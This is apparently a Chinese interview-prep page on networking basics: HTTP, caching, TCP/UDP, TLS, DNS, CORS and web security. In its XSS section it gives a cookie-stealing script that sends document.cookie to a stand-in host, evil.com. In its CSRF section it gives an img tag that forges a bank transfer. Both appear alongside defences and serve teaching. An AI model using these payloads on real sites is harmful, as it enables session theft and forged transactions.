Skip to content

Day 3: 计算机网络基础

第三天重点:HTTP/HTTPS、TCP/UDP、DNS 解析流程

更新时间: 2025-01

📋 目录

今日目标

  • 掌握 HTTP 方法、状态码、缓存机制
  • 理解 TCP 三次握手、四次挥手
  • 熟悉 HTTPS 工作原理
  • 理解 DNS 解析过程
  • 掌握跨域与 CORS

Part A: HTTP 协议

1. HTTP 基础

Q1: HTTP 常见请求方法及区别?

答案:

┌─────────────────────────────────────────────────────────────┐
│                    HTTP 请求方法                             │
├─────────────────────────────────────────────────────────────┤
│                                                              │
│  方法      描述                  幂等    安全    请求体      │
│  ──────────────────────────────────────────────────────────│
│  GET       获取资源              是      是      否          │
│  POST      创建资源              否      否      是          │
│  PUT       完整更新资源          是      否      是          │
│  PATCH     部分更新资源          否      否      是          │
│  DELETE    删除资源              是      否      否          │
│  HEAD      获取响应头            是      是      否          │
│  OPTIONS   获取支持的方法        是      是      否          │
│                                                              │
│  幂等:多次请求结果相同                                      │
│  安全:不会修改服务器资源                                    │
│                                                              │
└─────────────────────────────────────────────────────────────┘

GET 和 POST 的区别:

1. 语义:GET 获取资源,POST 提交数据
2. 参数位置:GET 在 URL 中,POST 在请求体中
3. 长度限制:GET 受 URL 长度限制(约 2KB),POST 理论无限制
4. 缓存:GET 可被缓存,POST 不会
5. 幂等性:GET 幂等,POST 非幂等
6. 安全性:都不安全(明文传输),但 POST 参数不在 URL 中
7. 浏览器行为:GET 可书签/历史,POST 不可

Q2: HTTP 状态码有哪些?

答案:

┌─────────────────────────────────────────────────────────────┐
│                    HTTP 状态码                               │
├─────────────────────────────────────────────────────────────┤
│                                                              │
│  1xx 信息性:                                               │
│  100 Continue           继续发送请求体                      │
│  101 Switching Protocols 切换协议(如 WebSocket)           │
│                                                              │
│  2xx 成功:                                                 │
│  200 OK                  请求成功                           │
│  201 Created             创建成功(POST)                   │
│  204 No Content          成功但无返回内容(DELETE)         │
│  206 Partial Content     部分内容(断点续传)               │
│                                                              │
│  3xx 重定向:                                               │
│  301 Moved Permanently   永久重定向(SEO 推荐)             │
│  302 Found               临时重定向(登录跳转)             │
│  303 See Other           POST 后重定向到 GET                │
│  304 Not Modified        缓存有效                           │
│  307 Temporary Redirect  临时重定向(保持方法)             │
│  308 Permanent Redirect  永久重定向(保持方法)             │
│                                                              │
│  4xx 客户端错误:                                           │
│  400 Bad Request         请求语法错误                       │
│  401 Unauthorized        未认证(需要登录)                 │
│  403 Forbidden           无权限(已登录但无权)             │
│  404 Not Found           资源不存在                         │
│  405 Method Not Allowed  方法不允许                         │
│  408 Request Timeout     请求超时                           │
│  429 Too Many Requests   请求过多(限流)                   │
│                                                              │
│  5xx 服务器错误:                                           │
│  500 Internal Server Error 服务器内部错误                   │
│  502 Bad Gateway         网关错误(上游服务异常)           │
│  503 Service Unavailable 服务不可用(过载/维护)            │
│  504 Gateway Timeout     网关超时                           │
│                                                              │
└─────────────────────────────────────────────────────────────┘

常见面试追问:

Q: 301 和 302 的区别?
A: 301 永久重定向,浏览器会缓存;302 临时重定向,每次都会请求原地址

Q: 401 和 403 的区别?
A: 401 是未认证(没登录);403 是已认证但无权限

Q: 502 和 504 的区别?
A: 502 是上游服务返回无效响应;504 是上游服务响应超时

2. HTTP 缓存机制

Q3: 强缓存和协商缓存的区别?

答案:

┌─────────────────────────────────────────────────────────────┐
│                    HTTP 缓存机制                             │
├─────────────────────────────────────────────────────────────┤
│                                                              │
│  强缓存(不发请求):                                        │
│  ├── Expires(HTTP/1.0)                                    │
│  │   - 绝对时间,受本地时间影响                             │
│  │   - Expires: Thu, 01 Dec 2024 16:00:00 GMT              │
│  │                                                          │
│  └── Cache-Control(HTTP/1.1,优先级更高)                  │
│      - max-age=3600      缓存 3600 秒                       │
│      - no-cache          跳过强缓存,走协商缓存              │
│      - no-store          完全不缓存                         │
│      - public            可被代理缓存                        │
│      - private           仅浏览器缓存                        │
│                                                              │
│  协商缓存(需要发请求验证):                                │
│  ├── Last-Modified / If-Modified-Since                      │
│  │   - 基于文件修改时间                                     │
│  │   - 精度秒级,可能不准确                                 │
│  │                                                          │
│  └── ETag / If-None-Match(优先级更高)                     │
│      - 基于文件内容哈希                                     │
│      - 更精确,但服务器计算开销大                           │
│                                                              │
│  缓存流程:                                                  │
│  1. 检查强缓存 → 有效则直接使用(200 from cache)           │
│  2. 强缓存失效 → 发送协商缓存请求                           │
│  3. 协商缓存有效 → 返回 304,使用本地缓存                   │
│  4. 协商缓存失效 → 返回 200 和新资源                        │
│                                                              │
└─────────────────────────────────────────────────────────────┘

缓存位置:

1. Service Worker(离线缓存,优先级最高)
2. Memory Cache(内存缓存,关闭标签页消失)
3. Disk Cache(硬盘缓存,持久化)
4. Push Cache(HTTP/2 推送缓存)

实际应用:

nginx
# Nginx 缓存配置
location ~* \.(css|js)$ {
    expires 1y;
    add_header Cache-Control "public, immutable";
}

location ~* \.(html)$ {
    add_header Cache-Control "no-cache";
}

3. HTTP 版本对比

Q4: HTTP 1.0/1.1/2/3 的区别?

答案:

┌─────────────────────────────────────────────────────────────┐
│                    HTTP 版本对比                             │
├─────────────────────────────────────────────────────────────┤
│                                                              │
│  HTTP/1.0:                                                 │
│  - 每次请求都新建 TCP 连接(短连接)                        │
│  - 无 Host 头,不支持虚拟主机                               │
│                                                              │
│  HTTP/1.1:                                                 │
│  - 持久连接(Keep-Alive)                                   │
│  - 管道化(Pipelining,但有队头阻塞问题)                   │
│  - 新增 Host 头                                             │
│  - 新增缓存控制(Cache-Control)                            │
│  - 支持断点续传(Range)                                    │
│                                                              │
│  HTTP/2:                                                   │
│  - 二进制分帧(更高效解析)                                 │
│  - 多路复用(一个连接并发多个请求)                         │
│  - 头部压缩(HPACK)                                        │
│  - 服务器推送(Server Push)                                │
│  - 请求优先级                                               │
│  - 基于 HTTPS                                               │
│                                                              │
│  HTTP/3:                                                   │
│  - 基于 QUIC(UDP)                                         │
│  - 0-RTT 连接(更快建立)                                   │
│  - 改进的拥塞控制                                           │
│  - 连接迁移(IP 变化不断开)                                │
│  - 解决 TCP 队头阻塞                                        │
│                                                              │
└─────────────────────────────────────────────────────────────┘

队头阻塞问题:

HTTP/1.1 管道化的队头阻塞:
- 请求 1、2、3 按顺序发送
- 响应必须按顺序返回
- 如果请求 1 阻塞,2、3 也等待

HTTP/2 的 TCP 层队头阻塞:
- 应用层多路复用解决了 HTTP 层阻塞
- 但 TCP 层丢包会阻塞所有流

HTTP/3 解决方案:
- QUIC 基于 UDP,每个流独立
- 一个流丢包不影响其他流

Part B: TCP/UDP

1. TCP 三次握手

Q5: TCP 三次握手过程?为什么是三次?

答案:

┌─────────────────────────────────────────────────────────────┐
│                    TCP 三次握手                              │
├─────────────────────────────────────────────────────────────┤
│                                                              │
│  客户端                              服务端                  │
│  CLOSED                              LISTEN                 │
│    │                                    │                   │
│    │──────── SYN, seq=x ───────────▶│                      │
│    │          第一次握手                │                   │
│  SYN_SENT                              │                   │
│    │                                    │                   │
│    │◀─── SYN+ACK, seq=y, ack=x+1 ────│                   │
│    │          第二次握手                │                   │
│    │                              SYN_RCVD                  │
│    │                                    │                   │
│    │──────── ACK, ack=y+1 ─────────▶│                      │
│    │          第三次握手                │                   │
│  ESTABLISHED                     ESTABLISHED               │
│                                                              │
│  各次握手的作用:                                            │
│  第一次:客户端确认自己能发送,服务端确认能接收              │
│  第二次:服务端确认自己能发送和接收,客户端确认能接收        │
│  第三次:客户端确认服务端能接收                              │
│                                                              │
└─────────────────────────────────────────────────────────────┘

为什么是三次,不是两次?

防止已失效的连接请求到达服务器:

场景:客户端发送连接请求A,但网络延迟,客户端超时重发请求B
- 如果两次握手:
  - 请求B建立连接,数据传输完毕,连接关闭
  - 延迟的请求A到达,服务端认为是新连接,分配资源
  - 客户端不会响应,服务端资源浪费

- 三次握手:
  - 延迟的请求A到达,服务端回复 SYN+ACK
  - 客户端发现不是自己发起的,发送 RST 拒绝
  - 服务端不会建立无效连接

2. TCP 四次挥手

Q6: TCP 四次挥手过程?为什么是四次?

答案:

┌─────────────────────────────────────────────────────────────┐
│                    TCP 四次挥手                              │
├─────────────────────────────────────────────────────────────┤
│                                                              │
│  客户端(主动关闭)                 服务端(被动关闭)       │
│  ESTABLISHED                       ESTABLISHED              │
│    │                                    │                   │
│    │──────── FIN, seq=u ───────────▶│                      │
│    │          第一次挥手                │                   │
│  FIN_WAIT_1                            │                   │
│    │                                    │                   │
│    │◀─────── ACK, ack=u+1 ─────────────│                   │
│    │          第二次挥手                │                   │
│  FIN_WAIT_2                        CLOSE_WAIT              │
│    │                                    │                   │
│    │            (服务端处理剩余数据)   │                   │
│    │                                    │                   │
│    │◀─────── FIN, seq=v ───────────────│                   │
│    │          第三次挥手                │                   │
│    │                               LAST_ACK                │
│    │                                    │                   │
│    │──────── ACK, ack=v+1 ─────────▶│                      │
│    │          第四次挥手                │                   │
│  TIME_WAIT                          CLOSED                 │
│    │                                                        │
│    │  等待 2MSL(最大报文生存时间)                         │
│    │                                                        │
│  CLOSED                                                     │
│                                                              │
└─────────────────────────────────────────────────────────────┘

为什么是四次?

TCP 是全双工,每个方向的关闭都是独立的:
- 客户端 FIN → 表示客户端不再发送数据
- 服务端 ACK → 确认收到客户端的关闭请求
- 服务端可能还有数据要发送(CLOSE_WAIT)
- 服务端 FIN → 表示服务端也不再发送数据
- 客户端 ACK → 确认收到服务端的关闭请求

不能合并第二次和第三次挥手,因为服务端可能还有数据要发

TIME_WAIT 的作用?

1. 确保最后的 ACK 能到达服务端
   - 如果 ACK 丢失,服务端会重发 FIN
   - 客户端需要在 TIME_WAIT 期间能够响应

2. 让旧连接的数据包在网络中消失
   - 防止延迟的数据包被新连接接收
   - 2MSL 时间足够让旧数据包消亡

3. TCP vs UDP

Q7: TCP 和 UDP 的区别?

答案:

┌─────────────────────────────────────────────────────────────┐
│                    TCP vs UDP                                │
├─────────────────────────────────────────────────────────────┤
│                                                              │
│  特性              TCP                  UDP                  │
│  ──────────────────────────────────────────────────────────│
│  连接              面向连接              无连接              │
│  可靠性            可靠传输              不可靠传输          │
│  有序性            保证顺序              不保证顺序          │
│  流量控制          有(滑动窗口)        无                  │
│  拥塞控制          有                    无                  │
│  传输速度          较慢                  较快                │
│  头部开销          20-60 字节            8 字节              │
│  连接方式          点对点                支持广播/多播       │
│                                                              │
│  TCP 应用场景:                                             │
│  - HTTP/HTTPS(网页)                                       │
│  - FTP(文件传输)                                          │
│  - SMTP/POP3(邮件)                                        │
│  - SSH(远程登录)                                          │
│                                                              │
│  UDP 应用场景:                                             │
│  - DNS(域名解析)                                          │
│  - DHCP(动态 IP)                                          │
│  - 视频流/直播                                              │
│  - 在线游戏                                                 │
│  - VoIP(语音通话)                                         │
│                                                              │
└─────────────────────────────────────────────────────────────┘

TCP 可靠传输机制:

1. 序列号和确认号
   - 每个字节都有序列号
   - 接收方返回 ACK 确认

2. 超时重传
   - 未收到 ACK 则重传
   - RTO 动态计算

3. 滑动窗口(流量控制)
   - 接收方通告窗口大小
   - 发送方不超过窗口发送

4. 拥塞控制
   - 慢启动:cwnd 指数增长
   - 拥塞避免:cwnd 线性增长
   - 快重传:3 个重复 ACK 立即重传
   - 快恢复:cwnd 减半继续发送

Part C: HTTPS

1. HTTPS 原理

Q8: HTTPS 的工作原理?

答案:

┌─────────────────────────────────────────────────────────────┐
│                    TLS 握手过程                              │
├─────────────────────────────────────────────────────────────┤
│                                                              │
│  客户端                              服务端                  │
│    │                                    │                   │
│    │─── ClientHello ──────────────▶│                       │
│    │    - 支持的 TLS 版本               │                   │
│    │    - 支持的加密套件                │                   │
│    │    - 客户端随机数                  │                   │
│    │                                    │                   │
│    │◀── ServerHello ───────────────────│                   │
│    │    - 选择的 TLS 版本               │                   │
│    │    - 选择的加密套件                │                   │
│    │    - 服务端随机数                  │                   │
│    │◀── Certificate ───────────────────│                   │
│    │    - 服务器证书(含公钥)          │                   │
│    │◀── ServerHelloDone ───────────────│                   │
│    │                                    │                   │
│    │─── ClientKeyExchange ─────────▶│                      │
│    │    - 预主密钥(用公钥加密)        │                   │
│    │─── ChangeCipherSpec ──────────▶│                      │
│    │─── Finished ──────────────────▶│                      │
│    │                                    │                   │
│    │◀── ChangeCipherSpec ──────────────│                   │
│    │◀── Finished ──────────────────────│                   │
│    │                                    │                   │
│    │◀════════ 加密通信 ═══════════════▶│                   │
│                                                              │
│  密钥生成:                                                  │
│  预主密钥 + 客户端随机数 + 服务端随机数 = 主密钥            │
│  主密钥 → 派生出会话密钥                                    │
│                                                              │
└─────────────────────────────────────────────────────────────┘

HTTPS 特点:

1. 机密性:对称加密通信内容
2. 完整性:MAC(消息认证码)防篡改
3. 身份认证:证书验证服务器身份

为什么用非对称+对称加密?
- 非对称加密安全但慢,用于交换密钥
- 对称加密快,用于实际数据传输

Q9: HTTPS 中间人攻击是什么?如何防范?

答案:

中间人攻击(MITM):
攻击者在客户端和服务器之间拦截通信

客户端 ←→ 中间人 ←→ 服务端
         伪造证书

防范措施:
1. 证书验证
   - CA 签名验证
   - 证书链完整性验证
   - 证书有效期检查

2. 证书固定(Certificate Pinning)
   - 客户端预存服务器证书/公钥
   - 只信任特定证书

3. HSTS(HTTP Strict Transport Security)
   - 强制使用 HTTPS
   - 防止 SSL 剥离攻击

4. 公钥固定(HPKP,已废弃)
   - 响应头包含公钥哈希
   - 浏览器验证公钥

Part D: DNS

Q10: DNS 解析过程?

答案:

┌─────────────────────────────────────────────────────────────┐
│                    DNS 解析流程                              │
├─────────────────────────────────────────────────────────────┤
│                                                              │
│  浏览器输入 www.example.com                                  │
│    │                                                        │
│    ▼                                                        │
│  1. 浏览器 DNS 缓存                                         │
│    │ 未命中                                                 │
│    ▼                                                        │
│  2. 操作系统 DNS 缓存 + hosts 文件                          │
│    │ 未命中                                                 │
│    ▼                                                        │
│  3. 本地 DNS 服务器(ISP 提供)                             │
│    │ 未命中,开始递归/迭代查询                              │
│    ▼                                                        │
│  4. 根 DNS 服务器(.)                                      │
│    │ 返回 .com 顶级域服务器地址                             │
│    ▼                                                        │
│  5. 顶级域 DNS 服务器(.com)                               │
│    │ 返回 example.com 权威服务器地址                        │
│    ▼                                                        │
│  6. 权威 DNS 服务器(example.com)                          │
│    │ 返回 www.example.com 的 IP 地址                        │
│    ▼                                                        │
│  7. 本地 DNS 缓存结果并返回给客户端                         │
│    │                                                        │
│    ▼                                                        │
│  8. 客户端使用 IP 发起 HTTP 请求                            │
│                                                              │
└─────────────────────────────────────────────────────────────┘

DNS 记录类型:

A     域名 → IPv4 地址
AAAA  域名 → IPv6 地址
CNAME 域名 → 另一个域名(别名)
MX    邮件服务器
NS    域名服务器
TXT   文本记录(常用于验证)

DNS 优化:

html
<!-- DNS 预解析 -->
<link rel="dns-prefetch" href="//cdn.example.com">

<!-- 预连接(包含 DNS + TCP + TLS) -->
<link rel="preconnect" href="https://cdn.example.com">

Part E: 跨域与安全

1. 跨域

Q11: 什么是跨域?如何解决?

答案:

同源策略:协议、域名、端口必须完全相同

http://example.com:80/page
  │        │       │
  协议    域名    端口

以下情况会跨域:
http://example.com  vs  https://example.com  (协议不同)
http://example.com  vs  http://api.example.com (域名不同)
http://example.com  vs  http://example.com:8080 (端口不同)

解决方案:

javascript
// 1. CORS(跨域资源共享)- 最常用
// 服务端设置响应头
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 86400

// 简单请求:直接发送,服务端返回 CORS 头
// 预检请求:先发 OPTIONS 请求,服务端返回允许的方法

// 2. JSONP(只支持 GET)
function jsonp(url, callback) {
  const script = document.createElement('script');
  const callbackName = 'jsonp_' + Date.now();

  window[callbackName] = (data) => {
    callback(data);
    document.body.removeChild(script);
    delete window[callbackName];
  };

  script.src = `${url}?callback=${callbackName}`;
  document.body.appendChild(script);
}

// 3. 代理服务器
// 开发环境:webpack-dev-server proxy
// 生产环境:Nginx 反向代理

// 4. postMessage(iframe 通信)
// 父页面
window.frames[0].postMessage('hello', 'http://child.com');
// 子页面
window.addEventListener('message', (e) => {
  if (e.origin === 'http://parent.com') {
    console.log(e.data);
  }
});

// 5. WebSocket(无同源限制)

2. 网络安全

Q12: XSS 和 CSRF 攻击及防范?

答案:

┌─────────────────────────────────────────────────────────────┐
│                    XSS(跨站脚本攻击)                       │
├─────────────────────────────────────────────────────────────┤
│                                                              │
│  类型:                                                      │
│  1. 存储型:恶意脚本存储在数据库                            │
│  2. 反射型:恶意脚本在 URL 参数中                           │
│  3. DOM 型:恶意脚本在客户端执行                            │
│                                                              │
│  攻击示例:                                                  │
│  <script>                                                   │
│    fetch('http://evil.com?cookie=' + document.cookie)       │
│  </script>                                                  │
│                                                              │
│  防范措施:                                                  │
│  1. 输入过滤:对用户输入进行转义                            │
│  2. 输出编码:HTML 实体编码                                 │
│  3. CSP:Content-Security-Policy 限制脚本来源              │
│  4. HttpOnly:Cookie 设置 HttpOnly 防止 JS 读取            │
│                                                              │
└─────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────┐
│                    CSRF(跨站请求伪造)                      │
├─────────────────────────────────────────────────────────────┤
│                                                              │
│  攻击原理:                                                  │
│  1. 用户登录 A 网站,获取 Cookie                            │
│  2. 用户访问恶意网站 B                                      │
│  3. B 网站自动向 A 发送请求(携带 A 的 Cookie)            │
│  4. A 网站认为是用户的合法请求                              │
│                                                              │
│  攻击示例:                                                  │
│  <img src="http://bank.com/transfer?to=hacker&amount=1000"> │
│                                                              │
│  防范措施:                                                  │
│  1. CSRF Token:表单携带随机 Token,服务端验证              │
│  2. SameSite Cookie:限制第三方 Cookie 发送                 │
│     - Strict:完全禁止第三方                                │
│     - Lax:只允许安全方法 + 顶级导航                        │
│  3. 验证 Referer/Origin 头                                  │
│  4. 关键操作二次验证                                        │
│                                                              │
└─────────────────────────────────────────────────────────────┘

Part F: 综合场景

Q13: 从 URL 输入到页面显示的全过程?

答案:

1. URL 解析
   - 协议、域名、端口、路径、查询参数
   - 判断是 URL 还是搜索关键词

2. DNS 解析
   - 浏览器缓存 → OS缓存 → 本地DNS → 根DNS → 权威DNS
   - 获取目标服务器 IP

3. TCP 连接
   - 三次握手建立连接
   - 如果是 HTTPS,还需要 TLS 握手

4. 发送 HTTP 请求
   - 构造请求行、请求头、请求体
   - 发送到服务器

5. 服务器处理
   - 路由分发
   - 业务逻辑处理
   - 数据库查询
   - 构造响应

6. 返回 HTTP 响应
   - 状态码、响应头、响应体
   - 如果有重定向,跳回步骤 2

7. 浏览器解析渲染
   - HTML → DOM 树
   - CSS → CSSOM 树
   - DOM + CSSOM → 渲染树
   - 布局(Layout):计算位置大小
   - 绘制(Paint):绘制像素
   - 合成(Composite):GPU 合成层

8. 加载外部资源
   - CSS 阻塞渲染
   - JS 阻塞解析
   - 图片/字体异步加载

9. 连接处理
   - Keep-Alive 保持连接
   - 或四次挥手断开连接

复习检查清单

  • 能说出常见 HTTP 方法和状态码
  • 理解强缓存和协商缓存的区别
  • 能画出 TCP 三次握手/四次挥手流程
  • 理解 TIME_WAIT 的作用
  • 能解释 HTTPS 握手过程
  • 能描述 DNS 解析流程
  • 理解跨域原因和 CORS 解决方案
  • 能解释 XSS 和 CSRF 及防范措施
  • 能完整描述 URL 到页面显示的过程

明日预告:Day 4 - Vue/React 框架原理

基于 VitePress 构建